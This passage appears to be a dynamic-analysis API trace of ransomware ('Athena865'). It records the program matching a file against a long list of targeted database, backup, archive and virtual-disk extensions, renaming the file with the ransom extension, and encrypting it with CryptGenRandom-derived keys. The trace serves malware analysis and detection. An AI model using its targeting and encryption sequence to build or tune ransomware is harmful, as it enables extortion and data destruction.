lpString2="{00c95144-e912-40b3-a2d1-b8e12bc815d0}_OnDiskSnapshotProp" | out: lpString1="{00c95144-e912-40b3-a2d1-b8e12bc815d0}_OnDiskSnapshotProp") returned="{00c95144-e912-40b3-a2d1-b8e12bc815d0}_OnDiskSnapshotProp" [0099.630] lstrlenW (lpString="{00c95144-e912-40b3-a2d1-b8e12bc815d0}_OnDiskSnapshotProp") returned 57 [0099.630] lstrlenW (lpString="Athena865") returned 9 [0099.630] lstrcmpiW (lpString1="pshotProp", lpString2="Athena865") returned 1 [0099.630] lstrlenW (lpString=".dll") returned 4 [0099.630] lstrcmpiW (lpString1="{00c95144-e912-40b3-a2d1-b8e12bc815d0}_OnDiskSnapshotProp", lpString2=".dll") returned 1 [0099.630] lstrlenW (lpString=".lnk") returned 4 [0099.630] lstrcmpiW (lpString1="{00c95144-e912-40b3-a2d1-b8e12bc815d0}_OnDiskSnapshotProp", lpString2=".lnk") returned 1 [0099.630] lstrlenW (lpString=".ini") returned 4 [0099.630] lstrcmpiW (lpString1="{00c95144-e912-40b3-a2d1-b8e12bc815d0}_OnDiskSnapshotProp", lpString2=".ini") returned 1 [0099.630] lstrlenW (lpString=".sys") returned 4 [0099.630] lstrcmpiW (lpString1="{00c95144-e912-40b3-a2d1-b8e12bc815d0}_OnDiskSnapshotProp", lpString2=".sys") returned 1 [0099.630] lstrlenW (lpString="{00c95144-e912-40b3-a2d1-b8e12bc815d0}_OnDiskSnapshotProp") returned 57 [0099.630] lstrlenW (lpString="bak") returned 3 [0099.630] lstrcmpiW (lpString1="rop", lpString2="bak") returned 1 [0099.630] lstrlenW (lpString="ba_") returned 3 [0099.630] lstrcmpiW (lpString1="rop", lpString2="ba_") returned 1 [0099.630] lstrlenW (lpString="dbb") returned 3 [0099.630] lstrcmpiW (lpString1="rop", lpString2="dbb") returned 1 [0099.630] lstrlenW (lpString="vmdk") returned 4 [0099.630] lstrcmpiW (lpString1="Prop", lpString2="vmdk") returned -1 [0099.630] lstrlenW (lpString="rar") returned 3 [0099.630] lstrcmpiW (lpString1="rop", lpString2="rar") returned 1 [0099.630] lstrlenW (lpString="zip") returned 3 [0099.630] lstrcmpiW (lpString1="rop", lpString2="zip") returned -1 [0099.630] lstrlenW (lpString="tgz") returned 3 [0099.631] lstrcmpiW (lpString1="rop", lpString2="tgz") returned -1 [0099.631] lstrlenW (lpString="vbox") returned 4 [0099.631] lstrcmpiW (lpString1="Prop", lpString2="vbox") returned -1 [0099.631] lstrlenW (lpString="vdi") returned 3 [0099.631] lstrcmpiW (lpString1="rop", lpString2="vdi") returned -1 [0099.631] lstrlenW (lpString="vhd") returned 3 [0099.631] lstrcmpiW (lpString1="rop", lpString2="vhd") returned -1 [0099.631] lstrlenW (lpString="vhdx") returned 4 [0099.631] lstrcmpiW (lpString1="Prop", lpString2="vhdx") returned -1 [0099.631] lstrlenW (lpString="avhd") returned 4 [0099.631] lstrcmpiW (lpString1="Prop", lpString2="avhd") returned 1 [0099.631] lstrlenW (lpString="db") returned 2 [0099.631] lstrcmpiW (lpString1="op", lpString2="db") returned 1 [0099.631] lstrlenW (lpString="db2") returned 3 [0099.631] lstrcmpiW (lpString1="rop", lpString2="db2") returned 1 [0099.631] lstrlenW (lpString="db3") returned 3 [0099.631] lstrcmpiW (lpString1="rop", lpString2="db3") returned 1 [0099.631] lstrlenW (lpString="dbf") returned 3 [0099.631] lstrcmpiW (lpString1="rop", lpString2="dbf") returned 1 [0099.631] lstrlenW (lpString="mdf") returned 3 [0099.631] lstrcmpiW (lpString1="rop", lpString2="mdf") returned 1 [0099.631] lstrlenW (lpString="mdb") returned 3 [0099.631] lstrcmpiW (lpString1="rop", lpString2="mdb") returned 1 [0099.631] lstrlenW (lpString="sql") returned 3 [0099.631] lstrcmpiW (lpString1="rop", lpString2="sql") returned -1 [0099.631] lstrlenW (lpString="sqlite") returned 6 [0099.631] lstrcmpiW (lpString1="otProp", lpString2="sqlite") returned -1 [0099.631] lstrlenW (lpString="sqlite3") returned 7 [0099.631] lstrcmpiW (lpString1="hotProp", lpString2="sqlite3") returned -1 [0099.631] lstrlenW (lpString="sqlitedb") returned 8 [0099.632] lstrcmpiW (lpString1="shotProp", lpString2="sqlitedb") returned -1 [0099.632] lstrlenW (lpString="xml") returned 3 [0099.632] lstrcmpiW (lpString1="rop", lpString2="xml") returned -1 [0099.632] lstrlenW (lpString="$er") returned 3 [0099.632] lstrcmpiW (lpString1="rop", lpString2="$er") returned 1 [0099.632] lstrlenW (lpString="4dd") returned 3 [0099.632] lstrcmpiW (lpString1="rop", lpString2="4dd") returned 1 [0099.632] lstrlenW (lpString="4dl") returned 3 [0099.632] lstrcmpiW (lpString1="rop", lpString2="4dl") returned 1 [0099.632] lstrlenW (lpString="^^^") returned 3 [0099.632] lstrcmpiW (lpString1="rop", lpString2="^^^") returned 1 [0099.632] lstrlenW (lpString="abs") returned 3 [0099.632] lstrcmpiW (lpString1="rop", lpString2="abs") returned 1 [0099.632] lstrlenW (lpString="abx") returned 3 [0099.632] lstrcmpiW (lpString1="rop", lpString2="abx") returned 1 [0099.632] lstrlenW (lpString="accdb") returned 5 [0099.632] lstrcmpiW (lpString1="tProp", lpString2="accdb") returned 1 [0099.632] lstrlenW (lpString="accdc") returned 5 [0099.632] lstrcmpiW (lpString1="tProp", lpString2="accdc") returned 1 [0099.632] lstrlenW (lpString="accde") returned 5 [0099.632] lstrcmpiW (lpString1="tProp", lpString2="accde") returned 1 [0099.632] lstrlenW (lpString="accdr") returned 5 [0099.632] lstrcmpiW (lpString1="tProp", lpString2="accdr") returned 1 [0099.632] lstrlenW (lpString="accdt") returned 5 [0099.632] lstrcmpiW (lpString1="tProp", lpString2="accdt") returned 1 [0099.632] lstrlenW (lpString="accdw") returned 5 [0099.632] lstrcmpiW (lpString1="tProp", lpString2="accdw") returned 1 [0099.632] lstrlenW (lpString="accft") returned 5 [0099.632] lstrcmpiW (lpString1="tProp", lpString2="accft") returned 1 [0099.632] lstrlenW (lpString="adb") returned 3 [0099.632] lstrcmpiW (lpString1="rop", lpString2="adb") returned 1 [0099.633] lstrlenW (lpString="adb") returned 3 [0099.633] lstrcmpiW (lpString1="rop", lpString2="adb") returned 1 [0099.633] lstrlenW (lpString="ade") returned 3 [0099.633] lstrcmpiW (lpString1="rop", lpString2="ade") returned 1 [0099.633] lstrlenW (lpString="adf") returned 3 [0099.633] lstrcmpiW (lpString1="rop", lpString2="adf") returned 1 [0099.633] lstrlenW (lpString="adn") returned 3 [0099.633] lstrcmpiW (lpString1="rop", lpString2="adn") returned 1 [0099.633] lstrlenW (lpString="adp") returned 3 [0099.633] lstrcmpiW (lpString1="rop", lpString2="adp") returned 1 [0099.633] lstrlenW (lpString="alf") returned 3 [0099.633] lstrcmpiW (lpString1="rop", lpString2="alf") returned 1 [0099.633] lstrlenW (lpString="ask") returned 3 [0099.633] lstrcmpiW (lpString1="rop", lpString2="ask") returned 1 [0099.633] lstrlenW (lpString="btr") returned 3 [0099.633] lstrcmpiW (lpString1="rop", lpString2="btr") returned 1 [0099.633] lstrlenW (lpString="cat") returned 3 [0099.633] lstrcmpiW (lpString1="rop", lpString2="cat") returned 1 [0099.633] lstrlenW (lpString="cdb") returned 3 [0099.633] lstrcmpiW (lpString1="rop", lpString2="cdb") returned 1 [0099.633] lstrlenW (lpString="ckp") returned 3 [0099.633] lstrcmpiW (lpString1="rop", lpString2="ckp") returned 1 [0099.633] lstrlenW (lpString="cma") returned 3 [0099.633] lstrcmpiW (lpString1="rop", lpString2="cma") returned 1 [0099.633] lstrlenW (lpString="cpd") returned 3 [0099.633] lstrcmpiW (lpString1="rop", lpString2="cpd") returned 1 [0099.633] lstrlenW (lpString="dacpac") returned 6 [0099.633] lstrcmpiW (lpString1="otProp", lpString2="dacpac") returned 1 [0099.633] lstrlenW (lpString="dad") returned 3 [0099.633] lstrcmpiW (lpString1="rop", lpString2="dad") returned 1 [0099.633] lstrlenW (lpString="dadiagrams") returned 10 [0099.634] lstrcmpiW (lpString1="apshotProp", lpString2="dadiagrams") returned -1 [0099.634] lstrlenW (lpString="daschema") returned 8 [0099.634] lstrcmpiW (lpString1="shotProp", lpString2="daschema") returned 1 [0099.634] lstrlenW (lpString="db-journal") returned 10 [0099.634] lstrcmpiW (lpString1="apshotProp", lpString2="db-journal") returned -1 [0099.634] lstrlenW (lpString="db-shm") returned 6 [0099.634] lstrcmpiW (lpString1="otProp", lpString2="db-shm") returned 1 [0099.634] lstrlenW (lpString="db-wal") returned 6 [0099.634] lstrcmpiW (lpString1="otProp", lpString2="db-wal") returned 1 [0099.634] lstrlenW (lpString="dbc") returned 3 [0099.634] lstrcmpiW (lpString1="rop", lpString2="dbc") returned 1 [0099.634] lstrlenW (lpString="dbs") returned 3 [0099.634] lstrcmpiW (lpString1="rop", lpString2="dbs") returned 1 [0099.634] lstrlenW (lpString="dbt") returned 3 [0099.634] lstrcmpiW (lpString1="rop", lpString2="dbt") returned 1 [0099.634] lstrlenW (lpString="dbv") returned 3 [0099.634] lstrcmpiW (lpString1="rop", lpString2="dbv") returned 1 [0099.634] lstrlenW (lpString="dbx") returned 3 [0099.634] lstrcmpiW (lpString1="rop", lpString2="dbx") returned 1 [0099.634] lstrlenW (lpString="dcb") returned 3 [0099.634] lstrcmpiW (lpString1="rop", lpString2="dcb") returned 1 [0099.634] lstrlenW (lpString="dct") returned 3 [0099.634] lstrcmpiW (lpString1="rop", lpString2="dct") returned 1 [0099.634] lstrlenW (lpString="dcx") returned 3 [0099.634] lstrcmpiW (lpString1="rop", lpString2="dcx") returned 1 [0099.634] lstrlenW (lpString="ddl") returned 3 [0099.634] lstrcmpiW (lpString1="rop", lpString2="ddl") returned 1 [0099.634] lstrlenW (lpString="dlis") returned 4 [0099.634] lstrcmpiW (lpString1="Prop", lpString2="dlis") returned 1 [0099.634] lstrlenW (lpString="dp1") returned 3 [0099.634] lstrcmpiW (lpString1="rop", lpString2="dp1") returned 1 [0099.635] lstrlenW (lpString="dqy") returned 3 [0099.635] lstrcmpiW (lpString1="rop", lpString2="dqy") returned 1 [0099.635] lstrlenW (lpString="dsk") returned 3 [0099.635] lstrcmpiW (lpString1="rop", lpString2="dsk") returned 1 [0099.635] lstrlenW (lpString="dsn") returned 3 [0099.635] lstrcmpiW (lpString1="rop", lpString2="dsn") returned 1 [0099.635] lstrlenW (lpString="dtsx") returned 4 [0099.635] lstrcmpiW (lpString1="Prop", lpString2="dtsx") returned 1 [0099.635] lstrlenW (lpString="dxl") returned 3 [0099.635] lstrcmpiW (lpString1="rop", lpString2="dxl") returned 1 [0099.635] lstrlenW (lpString="eco") returned 3 [0099.635] lstrcmpiW (lpString1="rop", lpString2="eco") returned 1 [0099.635] lstrlenW (lpString="ecx") returned 3 [0099.635] lstrcmpiW (lpString1="rop", lpString2="ecx") returned 1 [0099.635] lstrlenW (lpString="edb") returned 3 [0099.635] lstrcmpiW (lpString1="rop", lpString2="edb") returned 1 [0099.635] lstrlenW (lpString="epim") returned 4 [0099.635] lstrcmpiW (lpString1="Prop", lpString2="epim") returned 1 [0099.635] lstrlenW (lpString="fcd") returned 3 [0099.635] lstrcmpiW (lpString1="rop", lpString2="fcd") returned 1 [0099.635] lstrlenW (lpString="fdb") returned 3 [0099.635] lstrcmpiW (lpString1="rop", lpString2="fdb") returned 1 [0099.635] lstrlenW (lpString="fic") returned 3 [0099.635] lstrcmpiW (lpString1="rop", lpString2="fic") returned 1 [0099.635] lstrlenW (lpString="flexolibrary") returned 12 [0099.635] lstrcmpiW (lpString1="SnapshotProp", lpString2="flexolibrary") returned 1 [0099.635] lstrlenW (lpString="fm5") returned 3 [0099.635] lstrcmpiW (lpString1="rop", lpString2="fm5") returned 1 [0099.635] lstrlenW (lpString="fmp") returned 3 [0099.635] lstrcmpiW (lpString1="rop", lpString2="fmp") returned 1 [0099.635] lstrlenW (lpString="fmp12") returned 5 [0099.636] lstrcmpiW (lpString1="tProp", lpString2="fmp12") returned 1 [0099.636] lstrlenW (lpString="fmpsl") returned 5 [0099.636] lstrcmpiW (lpString1="tProp", lpString2="fmpsl") returned 1 [0099.636] lstrlenW (lpString="fol") returned 3 [0099.636] lstrcmpiW (lpString1="rop", lpString2="fol") returned 1 [0099.636] lstrlenW (lpString="fp3") returned 3 [0099.636] lstrcmpiW (lpString1="rop", lpString2="fp3") returned 1 [0099.636] lstrlenW (lpString="fp4") returned 3 [0099.636] lstrcmpiW (lpString1="rop", lpString2="fp4") returned 1 [0099.636] lstrlenW (lpString="fp5") returned 3 [0099.636] lstrcmpiW (lpString1="rop", lpString2="fp5") returned 1 [0099.636] lstrlenW (lpString="fp7") returned 3 [0099.636] lstrcmpiW (lpString1="rop", lpString2="fp7") returned 1 [0099.636] lstrlenW (lpString="fpt") returned 3 [0099.636] lstrcmpiW (lpString1="rop", lpString2="fpt") returned 1 [0099.636] lstrlenW (lpString="frm") returned 3 [0099.636] lstrcmpiW (lpString1="rop", lpString2="frm") returned 1 [0099.636] lstrlenW (lpString="gdb") returned 3 [0099.636] lstrcmpiW (lpString1="rop", lpString2="gdb") returned 1 [0099.636] lstrlenW (lpString="gdb") returned 3 [0099.636] lstrcmpiW (lpString1="rop", lpString2="gdb") returned 1 [0099.636] lstrlenW (lpString="grdb") returned 4 [0099.636] lstrcmpiW (lpString1="Prop", lpString2="grdb") returned 1 [0099.636] lstrlenW (lpString="gwi") returned 3 [0099.636] lstrcmpiW (lpString1="rop", lpString2="gwi") returned 1 [0099.636] lstrlenW (lpString="hdb") returned 3 [0099.636] lstrcmpiW (lpString1="rop", lpString2="hdb") returned 1 [0099.636] lstrlenW (lpString="his") returned 3 [0099.636] lstrcmpiW (lpString1="rop", lpString2="his") returned 1 [0099.636] lstrlenW (lpString="ib") returned 2 [0099.636] lstrcmpiW (lpString1="op", lpString2="ib") returned 1 [0099.636] lstrlenW (lpString="idb") returned 3 [0099.637] lstrcmpiW (lpString1="rop", lpString2="idb") returned 1 [0099.637] lstrlenW (lpString="ihx") returned 3 [0099.637] lstrcmpiW (lpString1="rop", lpString2="ihx") returned 1 [0099.637] lstrlenW (lpString="itdb") returned 4 [0099.637] lstrcmpiW (lpString1="Prop", lpString2="itdb") returned 1 [0099.637] lstrlenW (lpString="itw") returned 3 [0099.637] lstrcmpiW (lpString1="rop", lpString2="itw") returned 1 [0099.637] lstrlenW (lpString="jet") returned 3 [0099.637] lstrcmpiW (lpString1="rop", lpString2="jet") returned 1 [0099.637] lstrlenW (lpString="jtx") returned 3 [0099.637] lstrcmpiW (lpString1="rop", lpString2="jtx") returned 1 [0099.637] lstrlenW (lpString="kdb") returned 3 [0099.637] lstrcmpiW (lpString1="rop", lpString2="kdb") returned 1 [0099.637] lstrlenW (lpString="kexi") returned 4 [0099.637] lstrcmpiW (lpString1="Prop", lpString2="kexi") returned 1 [0099.637] lstrlenW (lpString="kexic") returned 5 [0099.637] lstrcmpiW (lpString1="tProp", lpString2="kexic") returned 1 [0099.637] lstrlenW (lpString="kexis") returned 5 [0099.637] lstrcmpiW (lpString1="tProp", lpString2="kexis") returned 1 [0099.637] lstrlenW (lpString="lgc") returned 3 [0099.637] lstrcmpiW (lpString1="rop", lpString2="lgc") returned 1 [0099.637] lstrlenW (lpString="lwx") returned 3 [0099.637] lstrcmpiW (lpString1="rop", lpString2="lwx") returned 1 [0099.637] lstrlenW (lpString="maf") returned 3 [0099.637] lstrcmpiW (lpString1="rop", lpString2="maf") returned 1 [0099.637] lstrlenW (lpString="maq") returned 3 [0099.637] lstrcmpiW (lpString1="rop", lpString2="maq") returned 1 [0099.637] lstrlenW (lpString="mar") returned 3 [0099.637] lstrcmpiW (lpString1="rop", lpString2="mar") returned 1 [0099.637] lstrlenW (lpString="marshal") returned 7 [0099.637] lstrcmpiW (lpString1="hotProp", lpString2="marshal") returned -1 [0099.638] lstrlenW (lpString="mas") returned 3 [0099.638] lstrcmpiW (lpString1="rop", lpString2="mas") returned 1 [0099.638] lstrlenW (lpString="mav") returned 3 [0099.638] lstrcmpiW (lpString1="rop", lpString2="mav") returned 1 [0099.638] lstrlenW (lpString="maw") returned 3 [0099.638] lstrcmpiW (lpString1="rop", lpString2="maw") returned 1 [0099.638] lstrlenW (lpString="mdbhtml") returned 7 [0099.638] lstrcmpiW (lpString1="hotProp", lpString2="mdbhtml") returned -1 [0099.638] lstrlenW (lpString="mdn") returned 3 [0099.638] lstrcmpiW (lpString1="rop", lpString2="mdn") returned 1 [0099.638] lstrlenW (lpString="mdt") returned 3 [0099.638] lstrcmpiW (lpString1="rop", lpString2="mdt") returned 1 [0099.638] lstrlenW (lpString="mfd") returned 3 [0099.638] lstrcmpiW (lpString1="rop", lpString2="mfd") returned 1 [0099.638] lstrlenW (lpString="mpd") returned 3 [0099.638] lstrcmpiW (lpString1="rop", lpString2="mpd") returned 1 [0099.638] lstrlenW (lpString="mrg") returned 3 [0099.638] lstrcmpiW (lpString1="rop", lpString2="mrg") returned 1 [0099.638] lstrlenW (lpString="mud") returned 3 [0099.638] lstrcmpiW (lpString1="rop", lpString2="mud") returned 1 [0099.638] lstrlenW (lpString="mwb") returned 3 [0099.638] lstrcmpiW (lpString1="rop", lpString2="mwb") returned 1 [0099.638] lstrlenW (lpString="myd") returned 3 [0099.638] lstrcmpiW (lpString1="rop", lpString2="myd") returned 1 [0099.638] lstrlenW (lpString="ndf") returned 3 [0099.638] lstrcmpiW (lpString1="rop", lpString2="ndf") returned 1 [0099.638] lstrlenW (lpString="nnt") returned 3 [0099.638] lstrcmpiW (lpString1="rop", lpString2="nnt") returned 1 [0099.638] lstrlenW (lpString="nrmlib") returned 6 [0099.638] lstrcmpiW (lpString1="otProp", lpString2="nrmlib") returned 1 [0099.639] lstrlenW (lpString="ns2") returned 3 [0099.639] lstrcmpiW (lpString1="rop", lpString2="ns2") returned 1 [0099.639] lstrlenW (lpString="ns3") returned 3 [0099.639] lstrcmpiW (lpString1="rop", lpString2="ns3") returned 1 [0099.639] lstrlenW (lpString="ns4") returned 3 [0099.639] lstrcmpiW (lpString1="rop", lpString2="ns4") returned 1 [0099.639] lstrlenW (lpString="nsf") returned 3 [0099.639] lstrcmpiW (lpString1="rop", lpString2="nsf") returned 1 [0099.639] lstrlenW (lpString="nv") returned 2 [0099.639] lstrcmpiW (lpString1="op", lpString2="nv") returned 1 [0099.639] lstrlenW (lpString="nv2") returned 3 [0099.639] lstrcmpiW (lpString1="rop", lpString2="nv2") returned 1 [0099.639] lstrlenW (lpString="nwdb") returned 4 [0099.639] lstrcmpiW (lpString1="Prop", lpString2="nwdb") returned 1 [0099.639] lstrlenW (lpString="nyf") returned 3 [0099.639] lstrcmpiW (lpString1="rop", lpString2="nyf") returned 1 [0099.639] lstrlenW (lpString="odb") returned 3 [0099.639] lstrcmpiW (lpString1="rop", lpString2="odb") returned 1 [0099.639] lstrlenW (lpString="odb") returned 3 [0099.639] lstrcmpiW (lpString1="rop", lpString2="odb") returned 1 [0099.639] lstrlenW (lpString="oqy") returned 3 [0099.639] lstrcmpiW (lpString1="rop", lpString2="oqy") returned 1 [0099.639] lstrlenW (lpString="ora") returned 3 [0099.639] lstrcmpiW (lpString1="rop", lpString2="ora") returned 1 [0099.639] lstrlenW (lpString="orx") returned 3 [0099.639] lstrcmpiW (lpString1="rop", lpString2="orx") returned 1 [0099.639] lstrlenW (lpString="owc") returned 3 [0099.640] lstrcmpiW (lpString1="rop", lpString2="owc") returned 1 [0099.640] lstrlenW (lpString="p96") returned 3 [0099.640] lstrcmpiW (lpString1="rop", lpString2="p96") returned 1 [0099.640] lstrlenW (lpString="p97") returned 3 [0099.640] lstrcmpiW (lpString1="rop", lpString2="p97") returned 1 [0099.640] lstrlenW (lpString="pan") returned 3 [0099.640] lstrcmpiW (lpString1="rop", lpString2="pan") returned 1 [0099.640] lstrlenW (lpString="pdb") returned 3 [0099.640] lstrcmpiW (lpString1="rop", lpString2="pdb") returned 1 [0099.640] lstrlenW (lpString="pdm") returned 3 [0099.640] lstrcmpiW (lpString1="rop", lpString2="pdm") returned 1 [0099.640] lstrlenW (lpString="pnz") returned 3 [0099.640] lstrcmpiW (lpString1="rop", lpString2="pnz") returned 1 [0099.640] lstrlenW (lpString="qry") returned 3 [0099.640] lstrcmpiW (lpString1="rop", lpString2="qry") returned 1 [0099.640] lstrlenW (lpString="qvd") returned 3 [0099.640] lstrcmpiW (lpString1="rop", lpString2="qvd") returned 1 [0099.640] lstrlenW (lpString="rbf") returned 3 [0099.640] lstrcmpiW (lpString1="rop", lpString2="rbf") returned 1 [0099.640] lstrlenW (lpString="rctd") returned 4 [0099.640] lstrcmpiW (lpString1="Prop", lpString2="rctd") returned -1 [0099.640] lstrlenW (lpString="rod") returned 3 [0099.640] lstrcmpiW (lpString1="rop", lpString2="rod") returned 1 [0099.640] lstrlenW (lpString="rodx") returned 4 [0099.640] lstrcmpiW (lpString1="Prop", lpString2="rodx") returned -1 [0099.640] lstrlenW (lpString="rpd") returned 3 [0099.640] lstrcmpiW (lpString1="rop", lpString2="rpd") returned -1 [0099.640] lstrlenW (lpString="rsd") returned 3 [0099.640] lstrcmpiW (lpString1="rop", lpString2="rsd") returned -1 [0099.640] lstrlenW (lpString="sas7bdat") returned 8 [0099.641] lstrcmpiW (lpString1="shotProp", lpString2="sas7bdat") returned 1 [0099.641] lstrlenW (lpString="sbf") returned 3 [0099.641] lstrcmpiW (lpString1="rop", lpString2="sbf") returned -1 [0099.641] lstrlenW (lpString="scx") returned 3 [0099.641] lstrcmpiW (lpString1="rop", lpString2="scx") returned -1 [0099.641] lstrlenW (lpString="sdb") returned 3 [0099.641] lstrcmpiW (lpString1="rop", lpString2="sdb") returned -1 [0099.641] lstrlenW (lpString="sdc") returned 3 [0099.641] lstrcmpiW (lpString1="rop", lpString2="sdc") returned -1 [0099.641] lstrlenW (lpString="sdf") returned 3 [0099.641] lstrcmpiW (lpString1="rop", lpString2="sdf") returned -1 [0099.641] lstrlenW (lpString="sis") returned 3 [0099.641] lstrcmpiW (lpString1="rop", lpString2="sis") returned -1 [0099.641] lstrlenW (lpString="spq") returned 3 [0099.641] lstrcmpiW (lpString1="rop", lpString2="spq") returned -1 [0099.641] lstrlenW (lpString="te") returned 2 [0099.641] lstrcmpiW (lpString1="op", lpString2="te") returned -1 [0099.641] lstrlenW (lpString="teacher") returned 7 [0099.641] lstrcmpiW (lpString1="hotProp", lpString2="teacher") returned -1 [0099.641] lstrlenW (lpString="tmd") returned 3 [0099.641] lstrcmpiW (lpString1="rop", lpString2="tmd") returned -1 [0099.641] lstrlenW (lpString="tps") returned 3 [0099.641] lstrcmpiW (lpString1="rop", lpString2="tps") returned -1 [0099.641] lstrlenW (lpString="trc") returned 3 [0099.641] lstrcmpiW (lpString1="rop", lpString2="trc") returned -1 [0099.641] lstrlenW (lpString="trc") returned 3 [0099.641] lstrcmpiW (lpString1="rop", lpString2="trc") returned -1 [0099.641] lstrlenW (lpString="trm") returned 3 [0099.641] lstrcmpiW (lpString1="rop", lpString2="trm") returned -1 [0099.641] lstrlenW (lpString="udb") returned 3 [0099.641] lstrcmpiW (lpString1="rop", lpString2="udb") returned -1 [0099.641] lstrlenW (lpString="udl") returned 3 [0099.642] lstrcmpiW (lpString1="rop", lpString2="udl") returned -1 [0099.642] lstrlenW (lpString="usr") returned 3 [0099.642] lstrcmpiW (lpString1="rop", lpString2="usr") returned -1 [0099.642] lstrlenW (lpString="v12") returned 3 [0099.642] lstrcmpiW (lpString1="rop", lpString2="v12") returned -1 [0099.642] lstrlenW (lpString="vis") returned 3 [0099.642] lstrcmpiW (lpString1="rop", lpString2="vis") returned -1 [0099.642] lstrlenW (lpString="vpd") returned 3 [0099.642] lstrcmpiW (lpString1="rop", lpString2="vpd") returned -1 [0099.642] lstrlenW (lpString="vvv") returned 3 [0099.642] lstrcmpiW (lpString1="rop", lpString2="vvv") returned -1 [0099.642] lstrlenW (lpString="wdb") returned 3 [0099.642] lstrcmpiW (lpString1="rop", lpString2="wdb") returned -1 [0099.642] lstrlenW (lpString="wmdb") returned 4 [0099.642] lstrcmpiW (lpString1="Prop", lpString2="wmdb") returned -1 [0099.642] lstrlenW (lpString="wrk") returned 3 [0099.642] lstrcmpiW (lpString1="rop", lpString2="wrk") returned -1 [0099.642] lstrlenW (lpString="xdb") returned 3 [0099.642] lstrcmpiW (lpString1="rop", lpString2="xdb") returned -1 [0099.642] lstrlenW (lpString="xld") returned 3 [0099.642] lstrcmpiW (lpString1="rop", lpString2="xld") returned -1 [0099.642] lstrlenW (lpString="xmlff") returned 5 [0099.642] lstrcmpiW (lpString1="tProp", lpString2="xmlff") returned -1 [0099.642] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume Information\\SPP\\OnlineMetadataCache\\{00c95144-e912-40b3-a2d1-b8e12bc815d0}_OnDiskSnapshotProp.Athena865") returned 120 [0099.642] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\SPP\\OnlineMetadataCache\\{00c95144-e912-40b3-a2d1-b8e12bc815d0}_OnDiskSnapshotProp" (normalized: "c:\\system volume information\\spp\\onlinemetadatacache\\{00c95144-e912-40b3-a2d1-b8e12bc815d0}_ondisksnapshotprop"), lpNewFileName="C:\\System Volume Information\\SPP\\OnlineMetadataCache\\{00c95144-e912-40b3-a2d1-b8e12bc815d0}_OnDiskSnapshotProp.Athena865" (normalized: "c:\\system volume information\\spp\\onlinemetadatacache\\{00c95144-e912-40b3-a2d1-b8e12bc815d0}_ondisksnapshotprop.athena865"), dwFlags=0x1) returned 1 [0099.644] CreateFileW (lpFileName="C:\\System Volume Information\\SPP\\OnlineMetadataCache\\{00c95144-e912-40b3-a2d1-b8e12bc815d0}_OnDiskSnapshotProp.Athena865" (normalized: "c:\\system volume information\\spp\\onlinemetadatacache\\{00c95144-e912-40b3-a2d1-b8e12bc815d0}_ondisksnapshotprop.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0099.644] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2456) returned 1 [0099.644] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0099.644] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d570 [0099.644] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x51a190 [0099.644] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x51a218) returned 1 [0099.645] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0099.645] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0099.645] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xca0, lpName=0x0) returned 0x154 [0099.647] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xca0) returned 0x100000 [0099.665] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x51a218) returned 1 [0099.666] CryptGenRandom (in: hProv=0x51a218, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0099.666] CryptReleaseContext (hProv=0x51a218, dwFlags=0x0) returned 1 [0099.666] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539950 [0099.666] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539950 | out: hHeap=0x4f0000) returned 1 [0099.666] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x53f390 [0099.666] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0099.666] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f390 | out: hHeap=0x4f0000) returned 1 [0099.666] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0099.667] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x53f390 [0099.667] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0099.667] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53f390 | out: hHeap=0x4f0000) returned 1 [0099.667] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0099.667] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0099.667] CloseHandle (hObject=0x154) returned 1 [0099.667] CloseHandle (hObject=0x17c) returned 1 [0099.667] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d570 | out: hHeap=0x4f0000) returned 1 [0099.667] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x51a190 | out: hHeap=0x4f0000) returned 1 [0099.667] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0099.667] FindNextFileW (in: hFindFile=0x5295d0, lpFindFileData=0x241e5f8 | out: 